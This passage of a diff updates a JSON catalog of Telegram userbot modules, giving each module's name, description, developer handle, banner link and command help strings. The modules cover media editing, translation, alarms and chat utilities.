<degrees> - Rotate image" - }, - { - "contrasticmd": ".contrasti <float> - Change contrast" - }, - { - "sharpnessicmd": ".sharpnessi <float> - Change sharpness" - }, - { - "brighticmd": ".brighti <float> - Change bright" - }, - { - "coloricmd": ".colori <float> - Change color factor" - } - ], - "new_commands": [ - { - "resizei": { - "ru_doc": null, - "en_doc": null, - "doc": ".resizei <w> <h> - Resize image" - } - }, - { - "rmbgi": { - "ru_doc": null, - "en_doc": null, - "doc": ".rmbgi - Remove background via AI [Powered by Indian's AI]" - } - }, - { - "inverti": { - "ru_doc": null, - "en_doc": null, - "doc": ".inverti - Invert colors" - } - }, - { - "bwi": { - "ru_doc": null, - "en_doc": null, - "doc": ".bwi - BlackWhite" - } - }, - { - "convi": { - "ru_doc": null, - "en_doc": null, - "doc": ".convi - Sticker to image | Image to sticker" - } - }, - { - "rotatei": { - "ru_doc": null, - "en_doc": null, - "doc": ".rotatei <degrees> - Rotate image" - } - }, - { - "contrasti": { - "ru_doc": null, - "en_doc": null, - "doc": ".contrasti <float> - Change contrast" - } - }, - { - "sharpnessi": { - "ru_doc": null, - "en_doc": null, - "doc": ".sharpnessi <float> - Change sharpness" - } - }, - { - "brighti": { - "ru_doc": null, - "en_doc": null, - "doc": ".brighti <float> - Change bright" - } - }, - { - "colori": { - "ru_doc": null, - "en_doc": null, - "doc": ".colori <float> - Change color factor" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/conthelper.py": { - "name": "ConthelperMod", - "description": "Commands:", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "reportcmd": "User report for spam." - }, - { - "blockcmd": "Use: .block to block this user." - }, - { - "unblockcmd": "Use: .unblock to unblock this user." - }, - { - "delcontcmd": "Use: .delcont to remove a user from contacts." - }, - { - "addcontcmd": "Use: .addcont to add somebody in contacts." - } - ], - "new_commands": [ - { - "report": { - "ru_doc": null, - "en_doc": null, - "doc": "User report for spam." - } - }, - { - "block": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .block to block this user." - } - }, - { - "unblock": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .unblock to unblock this user." - } - }, - { - "delcont": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .delcont to remove a user from contacts." - } - }, - { - "addcont": { - "ru_doc": null, - "en_doc": null, - "doc": "Use: .addcont to add somebody in contacts." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/text_generator.py": { - "name": "TextGeneratorMod", - "description": "Generating text using machine learning", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "pfcmd": "Generates text with Porfirevich: porfirevich.ru" - }, - { - "gptcmd": "Generates text with ruGPT-3 XL: russiannlp.github.io/rugpt-demo/" - } - ], - "new_commands": [ - { - "pf": { - "ru_doc": null, - "en_doc": null, - "doc": "Generates text with Porfirevich: porfirevich.ru" - } - }, - { - "gpt": { - "ru_doc": null, - "en_doc": null, - "doc": "Generates text with ruGPT-3 XL: russiannlp.github.io/rugpt-demo/" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/tags.py": { - "name": "TagMod", - "description": "Secretly tag a user", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tagcmd": ".tag <@> <text>." - }, - { - "tagallcmd": ".tagall <text> - tag all users in chat" - } - ], - "new_commands": [ - { - "tag": { - "ru_doc": null, - "en_doc": null, - "doc": ".tag <@> <text>." - } - }, - { - "tagall": { - "ru_doc": null, - "en_doc": null, - "doc": ".tagall <text> - tag all users in chat" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/qr_code.py": { - "name": "QRtoolsMod", - "description": "Generator and reader of QR codes", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "makeqrcmd": ".makeqr <text or reply>" - }, - { - "readqrcmd": ".readqr <qrcode or reply to qrcode>" - } - ], - "new_commands": [ - { - "makeqr": { - "ru_doc": null, - "en_doc": null, - "doc": ".makeqr <text or reply>" - } - }, - { - "readqr": { - "ru_doc": null, - "en_doc": null, - "doc": ".readqr <qrcode or reply to qrcode>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/translate.py": { - "name": "TranslatorMod", - "description": "Translator Module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "gtrslcmd": "Use it: .gtrsl <what language to translate from> <to which language to translate>\n<text> or .gtrsl <to translate> <reply>; langs" - }, - { - "translatecmd": "Translate text via Yandex Translate" - } - ], - "new_commands": [ - { - "gtrsl": { - "ru_doc": null, - "en_doc": null, - "doc": "Use it: .gtrsl <what language to translate from> <to which language to translate>\n<text> or .gtrsl <to translate> <reply>; langs" - } - }, - { - "translate": { - "ru_doc": null, - "en_doc": null, - "doc": "Translate text via Yandex Translate" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/banwords.py": { - "name": "BanWordsMod", - "description": "Плохие слова.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "addbwcmd": "Добавить слово в список \"Плохих слов\". Используй: .addbw <слово>." - }, - { - "rmbwcmd": "Удалить слово из список \"Плохих слов\". Используй: .rmbw <слово или all/clearall (по желанию)>.\nall - удаляет все слова из списка.\nclearall - удаляет все сохраненные данные модуля." - }, - { - "bwscmd": "Посмотреть список \"Плохих слов\". Используй: .bws." - }, - { - "bwstatscmd": "Статистика \"Плохих слов\". Используй: .bwstats <clear* (по желанию)>.\n* - сбросить настройки чата." - }, - { - "swbwcmd": "Переключить режим \"Плохих слов\". Используй: .swbw <режим(antimat/kick/ban/mute/none)>, или .swbw limit <кол-во:int>." - } - ], - "new_commands": [ - { - "addbw": { - "ru_doc": null, - "en_doc": null, - "doc": "Добавить слово в список \"Плохих слов\". Используй: .addbw <слово>." - } - }, - { - "rmbw": { - "ru_doc": null, - "en_doc": null, - "doc": "Удалить слово из список \"Плохих слов\". Используй: .rmbw <слово или all/clearall (по желанию)>.\nall - удаляет все слова из списка.\nclearall - удаляет все сохраненные данные модуля." - } - }, - { - "bws": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть список \"Плохих слов\". Используй: .bws." - } - }, - { - "bwstats": { - "ru_doc": null, - "en_doc": null, - "doc": "Статистика \"Плохих слов\". Используй: .bwstats <clear* (по желанию)>.\n* - сбросить настройки чата." - } - }, - { - "swbw": { - "ru_doc": null, - "en_doc": null, - "doc": "Переключить режим \"Плохих слов\". Используй: .swbw <режим(antimat/kick/ban/mute/none)>, или .swbw limit <кол-во:int>." - } - } - ], - "category": [ - "Chat", - "Customization" - ] - }, - "GeekTG/FTG-Modules/weather.py": { - "name": "WeatherMod", - "description": "Weather Module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "pwcmd": "\"Picture of weather.\n.aw <city>" - }, - { - "awcmd": "ASCII-art of weather.\n.aw <city>" - }, - { - "wcmd": ".w <city>" - } - ], - "new_commands": [ - { - "pw": { - "ru_doc": null, - "en_doc": null, - "doc": "\"Picture of weather.\n.aw <city>" - } - }, - { - "aw": { - "ru_doc": null, - "en_doc": null, - "doc": "ASCII-art of weather.\n.aw <city>" - } - }, - { - "w": { - "ru_doc": null, - "en_doc": null, - "doc": ".w <city>" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "GeekTG/FTG-Modules/music.py": { - "name": "LyricsMod", - "description": "Sings songs", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "lyricscmd": ".lyrics Song, Artist" - }, - { - "shazamcmd": ".shazam <reply to audio> - распознать трек" - } - ], - "new_commands": [ - { - "lyrics": { - "ru_doc": null, - "en_doc": null, - "doc": ".lyrics Song, Artist" - } - }, - { - "shazam": { - "ru_doc": null, - "en_doc": null, - "doc": ".shazam <reply to audio> - распознать трек" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/audio_editor.py": { - "name": "AudioEditorMod", - "description": "Module for working with sound", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "basscmd": ".bass [level bass'а 2-100 (Default 2)] <reply to audio>\nBassBoost" - }, - { - "fvcmd": ".fv [level 2-100 (Default 25)] <reply to audio>\nDistort" - }, - { - "echoscmd": ".echos <reply to audio>\nEcho effect" - }, - { - "volupcmd": ".volup <reply to audio>\nVolUp 10dB" - }, - { - "voldwcmd": ".voldw <reply to audio>\nVolDw 10dB" - }, - { - "revscmd": ".revs <reply to audio>\nReverse audio" - }, - { - "repscmd": ".reps <reply to audio>\nRepeat audio 2 times" - }, - { - "slowscmd": ".slows <reply to audio>\nSlowDown 0.5x" - }, - { - "fastscmd": ".fasts <reply to audio>\nSpeedUp 1.5x" - }, - { - "rightscmd": ".rights <reply to audio>\nPush sound to right channel" - }, - { - "leftscmd": ".lefts <reply to audio>\nPush sound to left channel" - }, - { - "normscmd": ".norms <reply to audio>\nNormalize sound (from quiet to normal)" - }, - { - "tovscmd": ".tovs <reply to audio>\nConvert to voice message" - }, - { - "convscmd": ".convs <reply to audio> [audio_format (ex. `mp3`)]\nConvert audio to some format" - }, - { - "byrobertscmd": ".byroberts <reply to audio>\nAdd at the end \"Directed by Robert B Weide\"" - }, - { - "cutscmd": ".cuts <start(ms):end(ms)> <reply to audio>\nCut audio" - } - ], - "new_commands": [ - { - "bass": { - "ru_doc": null, - "en_doc": null, - "doc": ".bass [level bass'а 2-100 (Default 2)] <reply to audio>\nBassBoost" - } - }, - { - "fv": { - "ru_doc": null, - "en_doc": null, - "doc": ".fv [level 2-100 (Default 25)] <reply to audio>\nDistort" - } - }, - { - "echos": { - "ru_doc": null, - "en_doc": null, - "doc": ".echos <reply to audio>\nEcho effect" - } - }, - { - "volup": { - "ru_doc": null, - "en_doc": null, - "doc": ".volup <reply to audio>\nVolUp 10dB" - } - }, - { - "voldw": { - "ru_doc": null, - "en_doc": null, - "doc": ".voldw <reply to audio>\nVolDw 10dB" - } - }, - { - "revs": { - "ru_doc": null, - "en_doc": null, - "doc": ".revs <reply to audio>\nReverse audio" - } - }, - { - "reps": { - "ru_doc": null, - "en_doc": null, - "doc": ".reps <reply to audio>\nRepeat audio 2 times" - } - }, - { - "slows": { - "ru_doc": null, - "en_doc": null, - "doc": ".slows <reply to audio>\nSlowDown 0.5x" - } - }, - { - "fasts": { - "ru_doc": null, - "en_doc": null, - "doc": ".fasts <reply to audio>\nSpeedUp 1.5x" - } - }, - { - "rights": { - "ru_doc": null, - "en_doc": null, - "doc": ".rights <reply to audio>\nPush sound to right channel" - } - }, - { - "lefts": { - "ru_doc": null, - "en_doc": null, - "doc": ".lefts <reply to audio>\nPush sound to left channel" - } - }, - { - "norms": { - "ru_doc": null, - "en_doc": null, - "doc": ".norms <reply to audio>\nNormalize sound (from quiet to normal)" - } - }, - { - "tovs": { - "ru_doc": null, - "en_doc": null, - "doc": ".tovs <reply to audio>\nConvert to voice message" - } - }, - { - "convs": { - "ru_doc": null, - "en_doc": null, - "doc": ".convs <reply to audio> [audio_format (ex. `mp3`)]\nConvert audio to some format" - } - }, - { - "byroberts": { - "ru_doc": null, - "en_doc": null, - "doc": ".byroberts <reply to audio>\nAdd at the end \"Directed by Robert B Weide\"" - } - }, - { - "cuts": { - "ru_doc": null, - "en_doc": null, - "doc": ".cuts <start(ms):end(ms)> <reply to audio>\nCut audio" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/terminal.py": { - "name": "TerminalMod", - "description": "Runs commands", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "terminalcmd": ".terminal <command>" - }, - { - "aptcmd": "Shorthand for '.terminal apt'" - }, - { - "terminatecmd": "Use in reply to send SIGTERM to a process" - }, - { - "killcmd": "Use in reply to send SIGKILL to a process" - }, - { - "neofetchcmd": "Show system stats via neofetch" - }, - { - "uptimecmd": "Show system uptime" - } - ], - "new_commands": [ - { - "terminal": { - "ru_doc": null, - "en_doc": null, - "doc": ".terminal <command>" - } - }, - { - "apt": { - "ru_doc": null, - "en_doc": null, - "doc": "Shorthand for '.terminal apt'" - } - }, - { - "terminate": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to send SIGTERM to a process" - } - }, - { - "kill": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to send SIGKILL to a process" - } - }, - { - "neofetch": { - "ru_doc": null, - "en_doc": null, - "doc": "Show system stats via neofetch" - } - }, - { - "uptime": { - "ru_doc": null, - "en_doc": null, - "doc": "Show system uptime" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, "AmoreForever/amoremods/besafe.py": { "name": "BeSafe", "description": "Check module before loading", @@ -25443,6 +40031,191 @@ "Tools" ] }, + "AmoreForever/amoremods/phsticker.py": { + "name": "PhLogo", + "description": "Make Pornhub logo sticker", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/phstiker.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "phl": "Makes PHub style logo sticker." + } + ], + "new_commands": [ + { + "phl": { + "ru_doc": null, + "en_doc": null, + "doc": "Makes PHub style logo sticker." + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "AmoreForever/amoremods/funquotes.py": { + "name": "InlineFunMod", + "description": "Create Fun quotes", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Funquotes.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "glaxcmd": "<text> - Create Google search quote" + }, + { + "twitcmd": "<text> - Create Twitter message quote" + }, + { + "frogcmd": "<text> - Create Frog text quote" + } + ], + "new_commands": [ + { + "glax": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - Create Google search quote" + } + }, + { + "twit": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - Create Twitter message quote" + } + }, + { + "frog": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - Create Frog text quote" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/alarm.py": { + "name": "AlarmMod", + "description": "Alarm module for remind you about something", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Alarm.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "setalarm": "<day of the week> <time> <message> - set alarm <день недели> <время> <сообщение> - установить напоминание" + }, + { + "alarms": "get alarms list получить список напоминаний" + }, + { + "unsetalarm": "<id> - unset alarm <id> - отменить напоминание" + }, + { + "unsetallalarms": "unset all alarms отменить все напоминания" + } + ], + "new_commands": [ + { + "setalarm": { + "ru_doc": "<день недели> <время> <сообщение> - установить напоминание", + "en_doc": null, + "doc": "<day of the week> <time> <message> - set alarm" + } + }, + { + "alarms": { + "ru_doc": "получить список напоминаний", + "en_doc": null, + "doc": "get alarms list" + } + }, + { + "unsetalarm": { + "ru_doc": "<id> - отменить напоминание", + "en_doc": null, + "doc": "<id> - unset alarm" + } + }, + { + "unsetallalarms": { + "ru_doc": "отменить все напоминания", + "en_doc": null, + "doc": "unset all alarms" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/my_usernames.py": { + "name": "MyUsernames", + "description": "The usernames I own", + "meta": { + "pic": null, + "banner": "https://github.com/AmoreForever/assets/blob/master/my_usernames.jpg?raw=true", + "developer": "@hikamorumods" + }, + "commands": [ + { + "myusern": "A list of usernames that were created by me" + } + ], + "new_commands": [ + { + "myusern": { + "ru_doc": null, + "en_doc": null, + "doc": "A list of usernames that were created by me" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/poststealer.py": { + "name": "PostStealer", + "description": "Steal post from another channel to your channel", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/poststeal.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "smode": "- off/on steal mode" + } + ], + "new_commands": [ + { + "smode": { + "ru_doc": null, + "en_doc": null, + "doc": "- off/on steal mode" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, "AmoreForever/amoremods/nytimer.py": { "name": "NYMod", "description": "Check how much is left until the new year", @@ -25470,25 +40243,35 @@ "Chat" ] }, - "AmoreForever/amoremods/hacker.py": { - "name": "HackerMod", - "description": "Create hacker message stickers", + "AmoreForever/amoremods/usernamestealer.py": { + "name": "UserStealer", + "description": "Username tracking module.", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Hacker.jpg", + "banner": null, "developer": "@hikamorumods" }, "commands": [ { - "hackercmd": "Reply to text or write text" + "ucheckcmd": "> Enter the user for check (without @)" + }, + { + "myus": "> Check status of the user being tracked" } ], "new_commands": [ { - "hacker": { + "ucheck": { "ru_doc": null, "en_doc": null, - "doc": "Reply to text or write text" + "doc": "> Enter the user for check (without @)" + } + }, + { + "myus": { + "ru_doc": null, + "en_doc": null, + "doc": "> Check status of the user being tracked" } } ], @@ -25497,52 +40280,129 @@ "Chat" ] }, - "AmoreForever/amoremods/facts.py": { - "name": "FactsMod", - "description": "More Interesting Facts", + "AmoreForever/amoremods/createlinks.py": { + "name": "AmorelinksMod", + "description": "Create links", "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Facts.jpg", + "pic": "https://te.legra.ph/file/388e1b26a46a8c439e479.png", + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Createlinks.jpg", "developer": "@hikamorumods" }, "commands": [ { - "afactscmd": "Intersting Facts" + "ytcmd": "<text> create YouTube link" + }, + { + "gugcmd": "<text> create Google link" + }, + { + "ghcmd": "<text> create Github link" + }, + { + "phcmd": "<text> create PornHub link" + }, + { + "tgcmd": "<text> create Telegram link" + }, + { + "pdacmd": "<text> create 4pda link" } ], "new_commands": [ { - "afacts": { + "yt": { "ru_doc": null, "en_doc": null, - "doc": "Intersting Facts" + "doc": "<text> create YouTube link" + } + }, + { + "gug": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> create Google link" + } + }, + { + "gh": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> create Github link" + } + }, + { + "ph": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> create PornHub link" + } + }, + { + "tg": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> create Telegram link" + } + }, + { + "pda": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> create 4pda link" } } ], "category": [ - "Fun", + "Tools", + "Chat" + ] + }, + "AmoreForever/amoremods/telegraphup.py": { + "name": "Telegraphup", + "description": "Upload video and photo to telegraph", + "meta": { + "pic": "https://te.legra.ph/file/5ef64ee0466032d8a4687.png", + "banner": "hhttps://raw.githubusercontent.com/AmoreForever/assets/master/Telegraphup.jpg", + "developer": "@hikamorumods" + }, + "commands": [ + { + "thupcmd": "<reply photo or video>" + } + ], + "new_commands": [ + { + "thup": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply photo or video>" + } + } + ], + "category": [ + "Media", "Tools" ] }, - "AmoreForever/amoremods/my_usernames.py": { - "name": "MyUsernames", - "description": "The usernames I own", + "AmoreForever/amoremods/recognition.py": { + "name": "RecognitionMod", + "description": "Recognition from photo", "meta": { "pic": null, - "banner": "https://github.com/AmoreForever/assets/blob/master/my_usernames.jpg?raw=true", + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/recognition.jpg", "developer": "@hikamorumods" }, "commands": [ { - "myusern": "A list of usernames that were created by me" + "reco": "recognize from photo <reply to photo>" } ], "new_commands": [ { - "myusern": { + "reco": { "ru_doc": null, "en_doc": null, - "doc": "A list of usernames that were created by me" + "doc": "recognize from photo <reply to photo>" } } ], @@ -25551,6 +40411,33 @@ "Chat" ] }, + "AmoreForever/amoremods/imgbb.py": { + "name": "ImgbbUploader", + "description": "Upload you photo/video/gif to https://ibb.co", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Imgbb.jpg", + "developer": "@amoremods" + }, + "commands": [ + { + "imgbbcmd": "imgbb uploader" + } + ], + "new_commands": [ + { + "imgbb": { + "ru_doc": null, + "en_doc": null, + "doc": "imgbb uploader" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, "AmoreForever/amoremods/animevoices.py": { "name": "AnimeVoicesMod", "description": "🎤 Popular Anime Voices", @@ -25918,940 +40805,25 @@ "Tools" ] }, - "AmoreForever/amoremods/speech.py": { - "name": "SpeechMod", - "description": "Simple speech recognition module.", + "AmoreForever/amoremods/hacker.py": { + "name": "HackerMod", + "description": "Create hacker message stickers", "meta": { "pic": null, - "banner": "https://github.com/AmoreForever/assets/blob/master/Speech.jpg?raw=true", + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Hacker.jpg", "developer": "@hikamorumods" }, "commands": [ { - "spech": "Recognize voice message. Usage: .spech <reply to voice message>" + "hackercmd": "Reply to text or write text" } ], "new_commands": [ { - "spech": { + "hacker": { "ru_doc": null, "en_doc": null, - "doc": "Recognize voice message. Usage: .spech <reply to voice message>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/funquotes.py": { - "name": "InlineFunMod", - "description": "Create Fun quotes", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Funquotes.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "glaxcmd": "<text> - Create Google search quote" - }, - { - "twitcmd": "<text> - Create Twitter message quote" - }, - { - "frogcmd": "<text> - Create Frog text quote" - } - ], - "new_commands": [ - { - "glax": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - Create Google search quote" - } - }, - { - "twit": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - Create Twitter message quote" - } - }, - { - "frog": { - "ru_doc": null, - "en_doc": null, - "doc": "<text> - Create Frog text quote" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/instsave.py": { - "name": "InstagramMod", - "description": "Download video from instagram without watermark", - "meta": { - "pic": "https://te.legra.ph/file/0251f5d602a8f32cd7368.png", - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Instsave.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "instascmd": "instagram video/reels/photo url <линк> - Скачать видео из инстаграм" - } - ], - "new_commands": [ - { - "instas": { - "ru_doc": "<линк> - Скачать видео из инстаграм", - "en_doc": null, - "doc": "instagram video/reels/photo url" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "AmoreForever/amoremods/birthdaywish.py": { - "name": "BirthdayWish", - "description": "Share warmth with your loved ones and give them this website to make their birthdays even more special and joyful.", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikamorumods" - }, - "commands": [ - { - "wishcmd": "Create Birthday web wishes args: <name> <time:seconds default(20)>" - } - ], - "new_commands": [ - { - "wish": { - "ru_doc": null, - "en_doc": null, - "doc": "Create Birthday web wishes args: <name> <time:seconds default(20)>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/bull.py": { - "name": "BullMod", - "description": "Bull пиз#а собеседнику", - "meta": { - "pic": "https://te.legra.ph/file/7772a7dae6290f0a612a6.png", - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Bull.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "bullcmd": "Забулить кого-то жесткими матами про мать" - }, - { - "bullicmd": "Забулить кого-то жесткими матами про мать (inline)" - } - ], - "new_commands": [ - { - "bull": { - "ru_doc": null, - "en_doc": null, - "doc": "Забулить кого-то жесткими матами про мать" - } - }, - { - "bulli": { - "ru_doc": null, - "en_doc": null, - "doc": "Забулить кого-то жесткими матами про мать (inline)" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "AmoreForever/amoremods/alarm.py": { - "name": "AlarmMod", - "description": "Alarm module for remind you about something", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Alarm.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "setalarm": "<day of the week> <time> <message> - set alarm <день недели> <время> <сообщение> - установить напоминание" - }, - { - "alarms": "get alarms list получить список напоминаний" - }, - { - "unsetalarm": "<id> - unset alarm <id> - отменить напоминание" - }, - { - "unsetallalarms": "unset all alarms отменить все напоминания" - } - ], - "new_commands": [ - { - "setalarm": { - "ru_doc": "<день недели> <время> <сообщение> - установить напоминание", - "en_doc": null, - "doc": "<day of the week> <time> <message> - set alarm" - } - }, - { - "alarms": { - "ru_doc": "получить список напоминаний", - "en_doc": null, - "doc": "get alarms list" - } - }, - { - "unsetalarm": { - "ru_doc": "<id> - отменить напоминание", - "en_doc": null, - "doc": "<id> - unset alarm" - } - }, - { - "unsetallalarms": { - "ru_doc": "отменить все напоминания", - "en_doc": null, - "doc": "unset all alarms" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/fileext.py": { - "name": "FileExtMod", - "description": "Get file extention details", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/fileext.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "fileext": "Get file extention details" - } - ], - "new_commands": [ - { - "fileext": { - "ru_doc": null, - "en_doc": null, - "doc": "Get file extention details" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/wakatime.py": { - "name": "Wakatime", - "description": "Show your Wakatime stats", - "meta": { - "pic": null, - "banner": "https://github.com/AmoreForever/shizuassets/blob/master/wakatime.jpg?raw=true", - "developer": "@hikamorumods" - }, - "commands": [ - { - "waka": "See your stat" - } - ], - "new_commands": [ - { - "waka": { - "ru_doc": null, - "en_doc": null, - "doc": "See your stat" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/lexiwiz.py": { - "name": "LexiwizMod", - "description": "Lexical wizard - your english companion", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikamorumods" - }, - "commands": [ - { - "getdef": "Get definition of a word" - }, - { - "getpron": "Get pronunciation of a word" - }, - { - "getsyn": "Get synonyms of a word" - }, - { - "getant": "Get antonyms of a word" - } - ], - "new_commands": [ - { - "getdef": { - "ru_doc": null, - "en_doc": null, - "doc": "Get definition of a word" - } - }, - { - "getpron": { - "ru_doc": null, - "en_doc": null, - "doc": "Get pronunciation of a word" - } - }, - { - "getsyn": { - "ru_doc": null, - "en_doc": null, - "doc": "Get synonyms of a word" - } - }, - { - "getant": { - "ru_doc": null, - "en_doc": null, - "doc": "Get antonyms of a word" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "AmoreForever/amoremods/amethyste.py": { - "name": "Amethyste", - "description": "Generate memes image", - "meta": { - "pic": null, - "banner": "https://github.com/AmoreForever/assets/blob/master/Amethyste.jpg?raw=true", - "developer": "@hikamorumods" - }, - "commands": [ - { - "amegencmd": "Generate memes image" - }, - { - "amelistcmd": "List of memes" - } - ], - "new_commands": [ - { - "amegen": { - "ru_doc": null, - "en_doc": null, - "doc": "Generate memes image" - } - }, - { - "amelist": { - "ru_doc": null, - "en_doc": null, - "doc": "List of memes" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/telegraphup.py": { - "name": "Telegraphup", - "description": "Upload video and photo to telegraph", - "meta": { - "pic": "https://te.legra.ph/file/5ef64ee0466032d8a4687.png", - "banner": "hhttps://raw.githubusercontent.com/AmoreForever/assets/master/Telegraphup.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "thupcmd": "<reply photo or video>" - } - ], - "new_commands": [ - { - "thup": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply photo or video>" - } - } - ], - "category": [ - "Media", - "Tools" - ] - }, - "AmoreForever/amoremods/recognition.py": { - "name": "RecognitionMod", - "description": "Recognition from photo", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/recognition.jpg", - "developer": "@hikamorumods" - }, - "commands": [ - { - "reco": "recognize from photo <reply to photo>" - } - ], - "new_commands": [ - { - "reco": { - "ru_doc": null, - "en_doc": null, - "doc": "recognize from photo <reply to photo>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "AmoreForever/amoremods/autoprofile.py": { - "name": "AutoProfileMod", - "description": "Automatic stuff for your profile :P", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikamorumods, FTG" - }, - "commands": [ - { - "cfautoprofcmd": "To specify the timezone via the config Что-бы указать таймзону через конфиг" - }, - { - "autobiocmd": "Automatically changes your account's bio with current time, usage:\n.autobio 'message, time as {time}' Автоматически изменяет биографию вашей учетной записи с учетом текущего времени, использования: .autobio 'сообщение, время как {time}'" - }, - { - "stopautobiocmd": "Stop autobio cmd. Что-бы остановить время в био введи .stopautobio" - }, - { - "autonamecmd": "Automatically changes your Telegram name with current time, usage:\n.autoname '<message, time as {time}>' Автоматически изменяет имя вашей учетной записи с учетом текущего времени, использования: .autoname 'сообщение, время как {time}'" - }, - { - "stopautonamecmd": "just write .stopautoname Что-бы остановить время в имени учетной записи введи .stopautoname" - }, - { - "aguide": "Just guide ru/en" - } - ], - "new_commands": [ - { - "cfautoprof": { - "ru_doc": "Что-бы указать таймзону через конфиг", - "en_doc": null, - "doc": "To specify the timezone via the config" - } - }, - { - "autobio": { - "ru_doc": "Автоматически изменяет биографию вашей учетной записи с учетом текущего времени, использования: .autobio 'сообщение, время как {time}'", - "en_doc": null, - "doc": "Automatically changes your account's bio with current time, usage:\n.autobio 'message, time as {time}'" - } - }, - { - "stopautobio": { - "ru_doc": "Что-бы остановить время в био введи .stopautobio", - "en_doc": null, - "doc": "Stop autobio cmd." - } - }, - { - "autoname": { - "ru_doc": "Автоматически изменяет имя вашей учетной записи с учетом текущего времени, использования: .autoname 